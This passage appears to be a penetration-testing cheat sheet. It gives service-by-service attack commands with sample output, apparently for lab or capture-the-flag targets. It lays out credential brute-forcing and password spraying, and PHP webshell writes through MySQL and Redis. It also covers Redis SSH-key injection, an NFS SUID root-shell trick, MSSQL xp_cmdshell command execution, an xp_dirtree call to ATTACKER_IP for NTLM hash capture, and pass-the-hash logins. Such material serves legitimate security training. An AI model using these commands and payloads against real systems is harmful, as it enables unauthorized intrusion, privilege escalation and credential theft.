Affected: Apache 2.4.49
Vector: Network/Low/None
(Confirms severity and affected versions)

Check GitHub for PoCs

Often more reliable than exploit-db — Working PoCs with instructions

Search: "<CVE-XXXX-XXXX> exploit github"
Example Output
github.com search: CVE-2021-41773
Result: 47 repositories
Top: nuclei-templates/cves/2021/CVE-2021-41773.yaml
(Working PoC with usage instructions)

🔌 Port Enumeration

Service-by-service enumeration techniques. Work through each open port methodically.


FTP (21)

Anonymous login

Try blank password and email@email.com — Misconfigured FTP servers

ftp $IP
Username: anonymous
Password: (blank)
Example Output
230 Login successful.
ftp> ls
-rw-r--r--  1 0  0   1024 Jan 01 config.txt
-rw-r--r--  1 0  0    512 Jan 01 backup.zip

List all files including hidden

Check every directory — Hidden files with creds

ls -la
cd ..
ls -la
Example Output
drwxr-xr-x  2 0 0  4096 Jan 01 .
drwxr-xr-x  3 0 0  4096 Jan 01 ..
-rw-r--r--  1 0 0   220 Jan 01 .bash_history
-rw-r--r--  1 0 0  1679 Jan 01 .id_rsa

Download everything

Recursive download — Grab all files for offline review

wget -r ftp://anonymous@$IP/
Example Output
wget -r ftp://anonymous@10.10.10.5/
Downloaded: 12 files, 45K
./10.10.10.5/backup.zip
./10.10.10.5/.hidden/credentials.txt
(Check every file offline)

Check for write access

Can you upload? webshell potential — Upload to web root = RCE

put test.txt
Example Output
ftp> put test.txt
226 Transfer complete.
(SUCCESS = you can upload webshells)

Brute force creds

If anonymous fails — Default/weak creds

hydra -L users.txt -P passwords.txt ftp://$IP
Example Output
hydra -L users.txt -P passwords.txt ftp://10.10.10.5
[21][ftp] host: 10.10.10.5 login: admin password: admin123
(FOUND VALID CREDENTIALS)

Check FTP version for exploits

Version from nmap output — vsftpd 2.3.4 backdoor, ProFTPD exploits

searchsploit vsftpd
searchsploit proftpd
Example Output
searchsploit vsftpd
vsftpd 2.3.4 - Backdoor Command Execution
(If version matches = instant shell)

SSH (22)

Note exact version — Old versions have vulns

nc -nv $IP 22
Example Output
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
(Old version = check CVE-2018-15473 user enum)

Try default creds

admin:admin, root:root, root:toor — Always try the obvious

ssh admin@$IP
ssh root@$IP
Example Output
ssh admin@10.10.10.5
Password: admin
Welcome to Ubuntu 18.04.3 LTS
$ whoami
admin

Common combos to try:
admin:admin, root:root, root:toor
user:user, admin:password, root:password

Brute force with found users

Only if you have a username — Weak passwords

hydra -l <user> -P /usr/share/wordlists/rockyou.txt ssh://$IP
Example Output
crackmapexec smb 10.10.10.5 -u users.txt -p passwords.txt
SMB [+] corp.local\john:Password1
(Valid domain credentials found)

Check for user enumeration

OpenSSH < 7.7 CVE-2018-15473 — Confirm valid usernames

searchsploit openssh
Example Output
OpenSSH 7.2p2 - Username Enumeration
$ python3 45233.py -u root 10.10.10.5
[+] root is a valid username

Try found creds from other services

Password reuse is common — Always cross-reference creds

ssh <user>@$IP
Example Output
Found admin:admin123 on FTP
ssh admin@10.10.10.5  password: admin123
Welcome to Ubuntu
(PASSWORD REUSE - same creds worked on SSH)

SSH with private key

If you find a key file — Check FTP, SMB, web for keys

chmod 600 id_rsa
ssh -i id_rsa <user>@$IP
Example Output
chmod 600 id_rsa
ssh -i id_rsa admin@10.10.10.5
Welcome to Ubuntu 18.04
admin@target:~$ whoami
admin

DNS (53)

Zone transfer

If you know the domain — Reveals all subdomains/hosts

dig axfr @$IP <domain>
host -l <domain> $IP
Example Output
dig axfr @10.10.10.5 domain.htb
domain.htb.     IN  SOA  ns1.domain.htb.
admin.domain.htb. IN A  10.10.10.10
dev.domain.htb.   IN A  10.10.10.11
staging.domain.htb IN A 10.10.10.12

Reverse lookup

Find domain name — Need domain for web enum

dig -x $IP @$IP
Example Output
dig -x 10.10.10.5 @10.10.10.5
;; ANSWER SECTION:
5.10.10.10.in-addr.arpa. IN PTR target.corp.local.
(Found hostname: target.corp.local)

Subdomain brute force

Find hidden subdomains — Virtual hosts, dev sites

gobuster dns -d <domain> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -r $IP:53
Example Output
gobuster dns -d corp.local -w subdomains.txt -r 10.10.10.5:53
Found: dev.corp.local
Found: mail.corp.local
Found: vpn.corp.local

Any records

All DNS records — TXT records may have info

dig any @$IP <domain>
Example Output
dig any @10.10.10.5 corp.local
corp.local. IN A    10.10.10.5
corp.local. IN MX   mail.corp.local
corp.local. IN TXT  "v=spf1 include:_spf.google.com"

Add to /etc/hosts

Required for web virtual hosts — Web apps may need hostname

echo '$IP <domain>' >> /etc/hosts
Example Output
echo '10.10.10.5 target.htb dev.target.htb' >> /etc/hosts

Now: http://target.htb shows different content
than http://10.10.10.5
(Virtual hosting = different sites on same IP)

SMTP (25/465/587)

User enumeration (VRFY)

Verify valid usernames — Build username list for other services

smtp-user-enum -M VRFY -U users.txt -t $IP
Example Output
smtp-user-enum -M VRFY -U users.txt -t 10.10.10.5
250 2.1.5 admin
250 2.1.5 john
550 5.1.1 <fakeuser>: Recipient not found

User enumeration (RCPT TO)

Alternative method — If VRFY is disabled

smtp-user-enum -M RCPT -U users.txt -t $IP
Example Output
smtp-user-enum -M RCPT -U users.txt -t 10.10.10.5
10.10.10.5: admin exists
10.10.10.5: john exists
10.10.10.5: postmaster exists

User enumeration (EXPN)

Expand mailing lists — May reveal users

smtp-user-enum -M EXPN -U users.txt -t $IP
Example Output
smtp-user-enum -M EXPN -U users.txt -t 10.10.10.5
10.10.10.5: admin <admin@corp.local>
10.10.10.5: all-staff <john@corp.local, jane@corp.local>

Nmap SMTP scripts

All SMTP nmap scripts — Enum, open relay, vulns

nmap --script smtp-* -p 25 $IP
Example Output
nmap --script smtp-* -p 25 10.10.10.5
|_smtp-open-relay: Server is an open relay
| smtp-enum-users:
|   root, admin, postmaster
(OPEN RELAY = can send emails as anyone)

Send test email

Test for open relay — Can send phishing emails

swaks --to user@domain --from test@test.com --server $IP
Example Output
swaks --to admin@corp.local --from ceo@corp.local --server 10.10.10.5 --body 'Test'
=== Connected to 10.10.10.5
<-  250 2.0.0 Ok: queued
(Open relay confirmed - phishing possible)

POP3 (110/995) / IMAP (143/993)

Version info — Check for exploits

nc -nv $IP 110
nc -nv $IP 143
Example Output
telnet 10.10.10.5 110
+OK Dovecot POP3 ready <1234.abc@target>

telnet 10.10.10.5 143
* OK [CAPABILITY IMAP4rev1] Dovecot IMAP ready
(Check version: Dovecot 2.2.x has known auth bypass CVEs)

Login with found creds

Try creds from other services — Read emails for more creds

telnet $IP 110
USER <user>
PASS <pass>
Example Output
telnet 10.10.10.5 110
+OK POP3 server ready
USER admin
+OK
PASS admin123
+OK Logged in.
LIST
1 1024
2 2048
(2 emails to read)

List and read emails

After POP3 login — Emails often contain passwords

LIST
RETR 1
RETR 2
Example Output
RETR 1
From: sysadmin@corp.local
Subject: New server credentials

Hi, the new server password is: Summer2024!
Please change it ASAP.
(CREDENTIALS IN EMAIL)

Brute force

If you have a username — Weak mail passwords

hydra -l <user> -P passwords.txt $IP pop3
Example Output
hydra -l admin -P rockyou.txt 10.10.10.5 pop3
[110][pop3] login: admin password: welcome1

hydra -l admin -P rockyou.txt 10.10.10.5 imap
[143][imap] login: admin password: welcome1
(Now read their emails for creds/info)

SMB (139/445)

Null session enum

Comprehensive SMB enum — Users, shares, policies, groups

enum4linux -a $IP
Example Output
enum4linux -a 10.10.10.5
[+] Users:
administrator, guest, krbtgt, john.smith
[+] Shares:
IPC$, ADMIN$, C$, Backups, Users

List shares (null)

Anonymous share listing — Find accessible shares

smbclient -L //$IP -N
Example Output
smbclient -L //10.10.10.5 -N
  Sharename  Type  Comment
  --------   ----  -------
  Backups    Disk  Company backups
  Users      Disk  User directories
  ADMIN$     Disk  Remote Admin

List shares (crackmapexec)

Alternative enum — Shows read/write permissions

crackmapexec smb $IP --shares -u '' -p ''
Example Output
crackmapexec smb 10.10.10.5 --shares -u '' -p ''
  Share      Permissions  Remark
  Backups    READ         Company backups
  Users      READ,WRITE   User files
  ADMIN$     NO ACCESS
(READ,WRITE on Users = upload potential)

Connect to shares

Browse each share — Download interesting files

smbclient //$IP/<share> -N
Example Output
smbclient //10.10.10.5/Backups -N
smb: \> ls
  .                  D   0  Jan 01  2024
  old_config.bak     A  1024  Jan 01  2024
  passwords.xlsx     A  2048  Jan 01  2024
smb: \> get passwords.xlsx

Recursive download share

Grab everything — Offline analysis

smbget -R smb://$IP/<share>/
Example Output
smbget -R smb://10.10.10.5/Backups/
Downloaded 15 files
./Backups/IT/credentials.txt
./Backups/HR/employee_list.csv
(Analyze everything offline)

Enumerate users (RID cycling)

Find domain users — Build user list

crackmapexec smb $IP --rid-brute
Example Output
crackmapexec smb 10.10.10.5 --rid-brute
500: CORP\Administrator
501: CORP\Guest
1001: CORP\john.smith
1002: CORP\svc_sql
1003: CORP\admin.backup

Check for EternalBlue

MS17-010 — Instant SYSTEM shell if vuln

nmap --script smb-vuln-ms17-010 -p 445 $IP
Example Output
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Risk factor: HIGH
(Use exploit/windows/smb/ms17_010_eternalblue)

Check SMB version/signing

Version and signing status — SMBv1 = more exploits, no signing = relay

crackmapexec smb $IP
Example Output
crackmapexec smb 10.10.10.5
SMB  10.10.10.5  445  TARGET  [*] Windows 10.0 Build 17763 x64
SMB  10.10.10.5  445  TARGET  [*] SMBv1: False
SMB  10.10.10.5  445  TARGET  [*] Signing: False
(No signing = relay attacks possible)

Brute force with found users

Spray found creds — Password reuse across services

crackmapexec smb $IP -u users.txt -p passwords.txt
Example Output
crackmapexec smb 10.10.10.5 -u users.txt -p passwords.txt --continue-on-success
SMB [-] corp\admin:Password1
SMB [-] corp\admin:Welcome1
SMB [+] corp\john.smith:Winter2025
(--continue-on-success finds ALL valid combos)

Check for write access

Can you upload files? — Upload to web root or share

smbclient //$IP/<share>
put test.txt
Example Output
smbmap -H 10.10.10.5 -u john -p Password1
  Disk        Permissions  Comment
  ----        -----------  -------
  Backups     READ ONLY
  Users       READ, WRITE  <- can upload!
  wwwroot     READ, WRITE  <- webshell target!
(WRITE on wwwroot = upload PHP shell)

SNMP (161 UDP)

Community string brute

Find valid community strings — public/private are defaults

onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt $IP
Example Output
onesixtyone 10.10.10.5 -c community.txt
10.10.10.5 [public] Linux server 5.4.0
10.10.10.5 [private] Linux server 5.4.0
(FOUND: public and private strings)

Full SNMP walk

Dump all SNMP data — Users, processes, software, interfaces

snmpwalk -v2c -c public $IP
Example Output
SNMPv2-MIB::sysDescr.0 = Linux webserver 5.4.0
HOST-RESOURCES::hrSWRunName.1 = apache2
HOST-RESOURCES::hrSWRunName.2 = mysqld
HOST-RESOURCES::hrSWRunParameters.786 = -u admin -p S3cr3tP@ss

Enum users

Windows user accounts — Username list

snmpwalk -v2c -c public $IP 1.3.6.1.4.1.77.1.2.25
Example Output
snmpwalk -v2c -c public 10.10.10.5 1.3.6.1.4.1.77.1.2.25
USER: administrator
USER: john
USER: backup_svc

Enum running processes

Running software — Find vulnerable services

snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.2
Example Output
snmpwalk -v2c -c public 10.10.10.5 hrSWRunName
apache2
mysqld
tomcat8
sshd
(Tomcat running = check 8080, look for manager)

Enum installed software

Installed packages — Version info for exploits

snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.6.3.1.2
Example Output
snmpwalk -v2c -c public 10.10.10.5 hrSWInstalledName
apache2 2.4.29
mysql-server 5.7.29
wordpress 5.8
(Version numbers for exploit search)

Enum TCP connections

Open TCP ports (internal view) — May reveal ports not in nmap

snmpwalk -v2c -c public $IP 1.3.6.1.2.1.6.13.1.3
Example Output
snmpwalk -v2c -c public 10.10.10.5 tcpConnLocalPort
22, 80, 3306, 8080, 8443
(Port 8080 and 8443 not in nmap = filtered or internal only)

snmp-check tool

Formatted SNMP enum — Cleaner output than snmpwalk

snmp-check $IP -c public
Example Output
snmp-check 10.10.10.5 -c public
[*] System information:
  Hostname: webserver
  OS: Linux 5.4.0
[*] User accounts:
  admin, www-data, mysql
[*] Processes:
  apache2, mysqld, cron

LDAP (389/636)

Anonymous bind enum

Find base DN — Starting point for LDAP enum

ldapsearch -x -H ldap://$IP -b '' -s base namingContexts
Example Output
ldapsearch -x -H ldap://10.10.10.5
namingContexts: DC=corp,DC=local
(SUCCESS = anonymous LDAP access)

Dump all objects

Full LDAP dump — Users, groups, computers, OUs

ldapsearch -x -H ldap://$IP -b 'DC=domain,DC=local'
Example Output
ldapsearch -x -H ldap://10.10.10.5 -b 'DC=corp,DC=local'
dn: CN=John Smith,OU=Users,DC=corp,DC=local
sAMAccountName: john.smith
description: Temp password: Welcome1
(PASSWORD IN DESCRIPTION FIELD)

Enum users

All AD users — Build user list

ldapsearch -x -H ldap://$IP -b 'DC=domain,DC=local' '(objectClass=user)' sAMAccountName
Example Output
ldapsearch -x -H ldap://10.10.10.5 -b 'DC=corp,DC=local' '(objectClass=person)' sAMAccountName
dn: CN=John Smith,OU=Users,DC=corp,DC=local
sAMAccountName: john.smith

dn: CN=SVC SQL,OU=Service Accounts,DC=corp,DC=local
sAMAccountName: svc_sql
(Full user list from LDAP)

Nmap LDAP scripts

Automated LDAP enum — Quick overview

nmap --script ldap-* -p 389 $IP
Example Output
nmap --script ldap-* -p 389 10.10.10.5
| ldap-rootdse:
|   namingContexts: DC=corp,DC=local
|   domainFunctionality: 7 (2016)
|_  forestFunctionality: 7

Check for password in description

Users with passwords in desc field — Lazy admins store creds here

ldapsearch -x -H ldap://$IP -b 'DC=domain,DC=local' '(objectClass=user)' sAMAccountName description
Example Output
ldapsearch -x -H ldap://10.10.10.5 -b 'DC=corp,DC=local' '(description=*pass*)'
dn: CN=svc_backup,OU=Service,DC=corp,DC=local
description: Password is Backup2024!
(CLEARTEXT PASSWORD IN LDAP)

NFS (2049)

Show exports

List NFS shares — Find mountable shares

showmount -e $IP
Example Output
showmount -e 10.10.10.5
/home/backup  *(rw,no_root_squash)
/var/www      *(ro)
(no_root_squash = privesc possible)

Mount share

Mount and browse — Full file access

mkdir /tmp/nfs
mount -t nfs $IP:/<share> /tmp/nfs
Example Output
mkdir /tmp/nfs
mount -t nfs 10.10.10.5:/home/backup /tmp/nfs
ls /tmp/nfs/
  .ssh/  documents/  notes.txt
(Full access to user's home directory)

Check for SSH keys

Private keys — Instant SSH access

ls -la /tmp/nfs/home/*/.ssh/
Example Output
find / -name id_rsa 2>/dev/null
/home/admin/.ssh/id_rsa

cat /home/admin/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA...
(Copy to attacker, chmod 600, ssh -i)

Check for sensitive files

Config files, backups — Passwords in config files

find /tmp/nfs -name '*.conf' -o -name '*.txt' -o -name '*.bak'
Example Output
find /tmp/nfs -name '*.conf' -o -name '*.txt'
/tmp/nfs/notes.txt: 'DB password: MySQLr00t!'
/tmp/nfs/.ssh/id_rsa: -----BEGIN RSA PRIVATE KEY-----

Check permissions / no_root_squash

Privesc via NFS — Write SUID shell, execute on target

If no_root_squash: create SUID binary on share
Example Output
cat /etc/exports shows: no_root_squash

On attacker as root:
cp /bin/bash /tmp/nfs/rootbash
chmod +s /tmp/nfs/rootbash

On target:
/home/backup/rootbash -p
# whoami
root

RPC (111/135)

Enum RPC services

List registered RPC services — Find NFS, mountd, etc

rpcinfo -p $IP
Example Output
rpcinfo -p 10.10.10.5
program vers proto  port
100000    4   tcp    111  portmapper
100003    3   tcp   2049  nfs
100005    3   tcp  34567  mountd
(NFS available! Check showmount)

rpcclient null session

Anonymous RPC connection — Enum users, groups, shares

rpcclient -U '' -N $IP
Example Output
rpcclient -U '' -N 10.10.10.5
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[svc_backup] rid:[0x451]

Enum domain users (rpcclient)

After connecting — Full user list

rpcclient $> enumdomusers
Example Output
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[john.smith] rid:[0x451]
user:[svc_sql] rid:[0x452]
user:[admin.backup] rid:[0x453]

Enum domain groups

Group membership — Find admin groups

rpcclient $> enumdomgroups
Example Output
rpcclient $> enumdomgroups
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[IT-Support] rid:[0x450]

rpcclient $> querygroupmem 0x200
rid:[0x1f4] (Administrator)
rid:[0x451] (john.smith is DA!)

User info

Detailed user info — Account details

rpcclient $> queryuser <rid>
Example Output
rpcclient $> queryuser 0x451
  User Name: john.smith
  Full Name: John Smith
  Description: IT Admin
  Logon Time: Mon, 24 Feb 2026

MySQL (3306)

Try default creds

root with no password is common — Default installations

mysql -h $IP -u root -p
(try blank, root, toor)
Example Output
mysql -h 10.10.10.5 -u root
Welcome to the MySQL monitor.
mysql> SHOW DATABASES;
+--------------------+
| Database           |
| information_schema |
| wordpress          |
| users              |

Nmap MySQL scripts

Enum, brute, audit — Quick overview

nmap --script mysql-* -p 3306 $IP
Example Output
nmap --script mysql-* -p 3306 10.10.10.5
| mysql-info:
|   Version: 5.7.29
|   Salt: abc123
| mysql-enum:
|   Valid usernames: root, admin
|   Accounts with empty password: root

Enum databases

After login — Find credential tables

SHOW DATABASES;
USE <db>;
SHOW TABLES;
Example Output
mysql> SHOW DATABASES;
+--------------------+
| information_schema |
| mysql              |
| webapp             |
| secret             |
mysql> USE webapp;
mysql> SHOW TABLES;
| users | posts | config |

Dump users/hashes

MySQL user hashes — Crack or pass-the-hash

SELECT user,password FROM mysql.user;
Example Output
SELECT user,authentication_string FROM mysql.user;
+------+-------------------------------------------+
| root | *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 |
| admin| *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
(Crack with hashcat -m 300 or john)

Read files (if FILE priv)

Read system files — LFI via database

SELECT LOAD_FILE('/etc/passwd');
Example Output
SELECT LOAD_FILE('/etc/passwd');
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:...
admin:x:1000:1000:Admin User:/home/admin:/bin/bash

Write files (if FILE priv)

Write webshell — RCE if web root is writable

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
Example Output
mysql> SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
Query OK, 1 row affected
(Browse to http://10.10.10.5/shell.php?cmd=whoami)

Check UDF for RCE

User Defined Functions — UDF can execute system commands

SELECT * FROM mysql.func;
Example Output
SELECT * FROM mysql.func;
+------+---+----------+----------+
| name | ret| dl       | type     |
| sys_exec | 0 | lib_mysqludf.so | function |
(UDF already installed = direct command exec)
SELECT sys_exec('whoami');

MSSQL (1433)

Try default creds

sa with blank/weak password — Default SA account

impacket-mssqlclient sa:password@$IP
Example Output
impacket-mssqlclient sa:sa@10.10.10.5
[*] Encryption required
[*] ENVCHANGE(DATABASE): Old: master, New: master
SQL> SELECT @@version;
Microsoft SQL Server 2019

Common: sa:sa, sa:password, sa:sa123

Nmap MSSQL scripts

Info, brute, xp_cmdshell — Quick overview

nmap --script ms-sql-* -p 1433 $IP
Example Output
nmap --script ms-sql-* -p 1433 10.10.10.5
| ms-sql-info:
|   Version: 14.0.1000.169 (SQL Server 2017)
|   Instance: MSSQLSERVER
| ms-sql-brute:
|   sa:sa = Success

Enable xp_cmdshell

After login as sa — Enables OS command execution

EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
Example Output
1> EXEC sp_configure 'show advanced options', 1;
2> RECONFIGURE;
3> EXEC sp_configure 'xp_cmdshell', 1;
4> RECONFIGURE;
5> EXEC xp_cmdshell 'whoami';
nt authority\system

Execute commands

Run system commands — RCE via database

EXEC xp_cmdshell 'whoami';
Example Output
EXEC xp_cmdshell 'whoami';
nt authority\system

EXEC xp_cmdshell 'type C:\Users\Administrator\Desktop\flag.txt';
flag{sql_rce_ftw}
(Full command execution as SYSTEM)

Enum databases

List all databases — Find interesting data

SELECT name FROM master.sys.databases;
Example Output
SQL> SELECT name FROM sys.databases;
master
tempdb
model
msdb
webapp
HRDatabase

SQL> USE HRDatabase;
SQL> SELECT name FROM sysobjects WHERE xtype='U';
employees
credentials
salaries

Linked servers

Pivot to other servers — Lateral movement via DB links

SELECT * FROM openquery("linkedserver", 'SELECT 1');
Example Output
SELECT * FROM sys.servers;
srv_name: DBPROD01
srv_name: HRDB

EXEC ('xp_cmdshell ''whoami''') AT [DBPROD01];
corp\dbadmin
(Lateral movement through linked SQL servers)

Capture hash (responder)

Trigger SMB auth to your machine — Capture NTLMv2 hash

EXEC xp_dirtree '\\ATTACKER_IP\share';
Example Output
On attacker: responder -I tun0

On MSSQL: EXEC xp_dirtree '\\10.10.14.2\share';

Responder captures:
[SMB] NTLMv2 Hash: sa::CORP:abc123...
(Crack with hashcat -m 5600)

RDP (3389)

Check if accessible

RDP enum scripts — Version, encryption, NLA

nmap --script rdp-* -p 3389 $IP
Example Output
nmap --script rdp-* -p 3389 10.10.10.5
| rdp-ntlm-info:
|   Target: TARGET
|   DNS: target.corp.local
|   OS: Windows Server 2019
|   NLA: Enabled

BlueKeep check

CVE-2019-0708 — Pre-auth RCE if unpatched

nmap --script rdp-vuln-ms12-020 -p 3389 $IP
Example Output
| rdp-vuln-ms12-020:
|   VULNERABLE:
|   CVE:CVE-2019-0708
(Pre-auth RCE, use with caution - may BSOD)

Brute force

With known usernames — Weak passwords

hydra -l <user> -P passwords.txt rdp://$IP
Example Output
hydra -l administrator -P passwords.txt rdp://10.10.10.5
[3389][rdp] host: 10.10.10.5 login: administrator password: Winter2025!

OR: crowbar -b rdp -s 10.10.10.5/32 -u admin -C passwords.txt
(crowbar is more reliable for RDP brute force)

Connect with found creds

Or rdesktop — Full GUI access

xfreerdp /u:<user> /p:<pass> /v:$IP
Example Output
xfreerdp /u:admin /p:Password123 /v:10.10.10.5
[INFO] Connected to 10.10.10.5:3389
(Full GUI desktop access)

Pass the hash

If you have NTLM hash — No password needed

xfreerdp /u:<user> /pth:<hash> /v:$IP
Example Output
crackmapexec smb 10.10.10.20 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
SMB  10.10.10.20  445  WEB01  [+] CORP\administrator:... (Pwn3d!)
(Admin access with just the hash)

WinRM (5985/5986)

Check access with found creds

Pwn3d! = shell access — Remote management

crackmapexec winrm $IP -u <user> -p <pass>
Example Output
crackmapexec winrm 10.10.10.5 -u john -p Password123
WINRM  10.10.10.5  5985  DC01  [+] corp.local\john:Password123 (Pwn3d!)
(Pwn3d! = you can get a shell)

Get shell

Interactive PowerShell — Full shell access

evil-winrm -i $IP -u <user> -p <pass>
Example Output
evil-winrm -i 10.10.10.5 -u john -p Password123
*Evil-WinRM* PS C:\Users\john\Documents> whoami
corp\john
(Interactive PowerShell session)

Pass the hash

With NTLM hash — No password needed

evil-winrm -i $IP -u <user> -H <ntlm_hash>
Example Output
evil-winrm -i 10.10.10.5 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0'
*Evil-WinRM* PS C:\Users\Administrator>

(evil-winrm supports PTH natively with -H flag)
(No password needed, just the NT hash)

Redis (6379)

Connect (no auth)

Try without password — Default: no authentication

redis-cli -h $IP
Example Output
redis-cli -h 10.10.10.5
10.10.10.5:6379> INFO server
redis_version:5.0.7
10.10.10.5:6379> KEYS *
1) "session:admin"
2) "credentials"

Dump all keys

After connecting — Stored credentials, session data

KEYS *
GET <key>
Example Output
KEYS *
1) "session:admin:token"
2) "user:admin:password"
3) "config:db_pass"

GET user:admin:password
"SuperSecret123!"
(Credentials stored in Redis)

Server info

Version, memory, clients — Check version for exploits

INFO
Example Output
INFO
redis_version:5.0.7
os:Linux 5.4.0-42-generic x86_64
connected_clients:2
(Check version for CVEs, 5.x has several RCEs)

Write SSH key

Write your SSH key to server — Root SSH access

redis-cli -h $IP
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SET payload '<ssh-rsa key>'
SAVE
Example Output
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SET payload 'ssh-rsa AAAA...your_key...'
SAVE

ssh root@10.10.10.5
root@target:~# whoami
root
(Root SSH access via Redis write)

Write webshell

If web server present — RCE via webshell

CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET payload '<?php system($_GET["cmd"]); ?>'
SAVE
Example Output
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET payload '<?php system($_GET["cmd"]); ?>'
SAVE

curl http://10.10.10.5/shell.php?cmd=whoami
www-data
(RCE via Redis webshell write)

🌐 Web Enumeration

Web application reconnaissance and content discovery.


INITIAL WEB RECON

Browse manually in browser

Look at the site. Read it. Click around. — Context before tools

http://$IP
https://$IP
http://$IP:8080
Example Output
See a login page, CMS, or custom app
Check footer: 'Powered by WordPress 5.8'
Check URLs: /index.php?page=about (LFI candidate)

Check page source (Ctrl+U)

Comments, hidden fields, JS files, API endpoints — Devs leave secrets in comments

View source on every page
Example Output
<!-- TODO: remove debug credentials -->
<!-- admin:Passw0rd123 -->
<script src='/api/v1/config.js'></script>
<input type='hidden' name='debug' value='true'>

Check robots.txt

Disallowed paths — Paths they don't want indexed

curl http://$IP/robots.txt
Example Output
User-agent: *
Disallow: /admin/
Disallow: /backup/
Disallow: /internal/
Disallow: /wp-admin/
(Now you know hidden paths exist)

Check sitemap.xml

Site structure — Hidden pages and directories

curl http://$IP/sitemap.xml
Example Output
curl http://10.10.10.5/sitemap.xml
<urlset>
  <url><loc>/internal-dashboard/</loc></url>
  <url><loc>/api/v2/users/</loc></url>
  <url><loc>/old-admin/</loc></url>
</urlset>
(Hidden paths revealed)

Check security.txt

Security contact info — May reveal tech stack

curl http://$IP/.well-known/security.txt
Example Output
curl http://10.10.10.5/.well-known/security.txt
Contact: security@corp.local
Preferred-Languages: en
Canonical: https://corp.local/.well-known/security.txt
(Confirms domain, may reveal email format)

Identify technology stack

CMS, framework, language, server — Guides your attack approach

whatweb http://$IP
wappalyzer (browser extension)
Example Output
whatweb http://10.10.10.5
http://10.10.10.5 [200 OK]
  Apache[2.4.29], PHP[7.2.10],
  WordPress[5.8], jQuery[3.6.0],
  Country[US]

Check HTTP headers

Server, X-Powered-By, cookies — Version info, security headers

curl -I http://$IP
Example Output
HTTP/1.1 200 OK
Server: Apache/2.4.29 (Ubuntu)
X-Powered-By: PHP/7.2.10
Set-Cookie: PHPSESSID=abc123
(Versions exposed = search for CVEs)

Check SSL/TLS cert

Certificate details — Hostnames, org info, valid dates

openssl s_client -connect $IP:443
Example Output
openssl s_client -connect 10.10.10.5:443
subject=CN = dev.corp.local
subjectAltName = DNS:dev.corp.local, DNS:staging.corp.local
(Found additional hostnames to add to /etc/hosts)

Add hostname to /etc/hosts

If you discover a hostname — Virtual host routing

echo '$IP hostname.htb' >> /etc/hosts
Example Output
echo '10.10.10.5 target.htb dev.target.htb' >> /etc/hosts

curl http://target.htb -> 'Welcome to Our App'
curl http://10.10.10.5 -> 'Apache Default Page'
(Different content = virtual hosting confirmed)

Screenshot all web ports

Visual record — Quick reference for reporting

gowitness single http://$IP
Example Output
gowitness single http://10.10.10.5
gowitness single https://10.10.10.5
gowitness single http://10.10.10.5:8080
(Visual screenshots saved for reference and reporting)

DIRECTORY / FILE DISCOVERY

Gobuster directory scan

Main directory brute force — Find hidden directories

gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt
Example Output
=======================================
/admin        (Status: 301)
/uploads      (Status: 301)
/backup       (Status: 301)
/config       (Status: 403)
/phpmyadmin   (Status: 200)
/api          (Status: 200)

Gobuster with extensions

Find files with extensions — php/txt/bak files are gold

gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,bak,old,conf,zip -o gobuster_ext.txt
Example Output
/config.php.bak  (Status: 200)  <- backup config!
/notes.txt       (Status: 200)  <- dev notes
/shell.php       (Status: 200)  <- existing shell?
/database.sql    (Status: 200)  <- DB dump

Feroxbuster (recursive)

Recursive scanning — Finds nested directories

feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
Example Output
feroxbuster -u http://10.10.10.5
200  GET  /admin/
200  GET  /admin/config/
200  GET  /admin/config/database.yml  <- nested find!
301  GET  /backup/
200  GET  /backup/site_2024.zip

Scan discovered directories

Enumerate inside each dir found — Go deeper

gobuster dir -u http://$IP/<found_dir> -w <wordlist> -x php,txt
Example Output
gobuster dir -u http://10.10.10.5/admin -w wordlist.txt -x php
/admin/login.php    (Status: 200)
/admin/config.php   (Status: 200)
/admin/uploads/     (Status: 301)
/admin/backup.php   (Status: 200)

Virtual host / subdomain scan

Find virtual hosts — Different sites on same server

gobuster vhost -u http://<domain> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
Example Output
Found: dev.domain.htb (Status: 200) [Size: 5432]
Found: staging.domain.htb (Status: 200) [Size: 1234]
Found: admin.domain.htb (Status: 302) [Size: 0]
(Add each to /etc/hosts and browse)

FFUF for fuzzing

Fast fuzzer — Flexible filtering

ffuf -u http://$IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -mc 200,301,302
Example Output
ffuf -u http://10.10.10.5/FUZZ -w wordlist.txt -mc 200,301
admin          [Status: 301, Size: 312]
backup         [Status: 301, Size: 314]
api            [Status: 200, Size: 1543]
.env           [Status: 200, Size: 256]

Check for common files

Manual checks for sensitive files — Backup configs, git repos, env files

curl http://$IP/wp-config.php.bak
curl http://$IP/.git/HEAD
curl http://$IP/.env
curl http://$IP/web.config
